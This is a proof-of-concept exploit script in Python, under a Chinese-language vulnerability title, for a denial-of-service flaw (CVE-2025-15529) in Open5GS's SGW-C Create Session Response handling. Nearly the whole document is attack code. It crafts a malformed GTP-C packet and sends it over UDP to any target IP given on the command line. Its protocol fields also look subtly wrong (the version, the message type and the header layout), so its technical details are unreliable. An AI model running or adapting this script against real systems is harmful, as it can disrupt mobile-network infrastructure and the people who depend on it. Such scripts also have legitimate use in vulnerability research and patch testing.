CVE-2025-15529 Open5GS sgwc_s5c_handle_create_session_response拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-15529 PoC - Open5GS S5C Create Session Response DoS Reference: https://github.com/open5gs/open5gs/issues/4226 Note: This PoC demonstrates the vulnerability concept. Modify GTP-C messages accordingly. """ import socket import struct import sys def create_gtpc_create_session_response(teid, sequence): """ Create a malicious GTP-C Create Session Response message that triggers the vulnerability in sgwc_s5c_handle_create_session_response """ # GTP-C Header version = 0x01 # GTP version 1 protocol_type = 0x01 # GTP' (1) message_type = 0x36 # Create Session Response length = 0x0000 # Will be set later # Flags flags = (version << 5) | (protocol_type << 4) # Sequence number (3 bytes) seq = struct.pack('!I', sequence)[1:4] # Spare spare = b'\x00\x00\x00' # TEID teid_packed = struct.pack('!I', teid) # Information Elements - Malformed/missing required IEs # Missing or malformed Bearer Context IE can trigger the vulnerability ies = b'\x00' * 10 # Malformed IEs message_body = seq + spare + teid_packed + ies length = len(message_body) # Build header with correct length header = bytes([flags, message_type]) + struct.pack('!H', length) + message_body return header def exploit(target_ip, target_port=2123): """ Send malicious GTP-C Create Session Response to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) teid = 0x00000001 sequence = 0x000001 payload = create_gtpc_create_session_response(teid, sequence) print(f"[*] Sending malicious Create Session Response to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") try: sock.sendto(payload, (target_ip, target_port)) print("[+] Malicious packet sent successfully") print("[+] Check if Open5GS SGWC service is still responsive") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2123 exploit(target, port)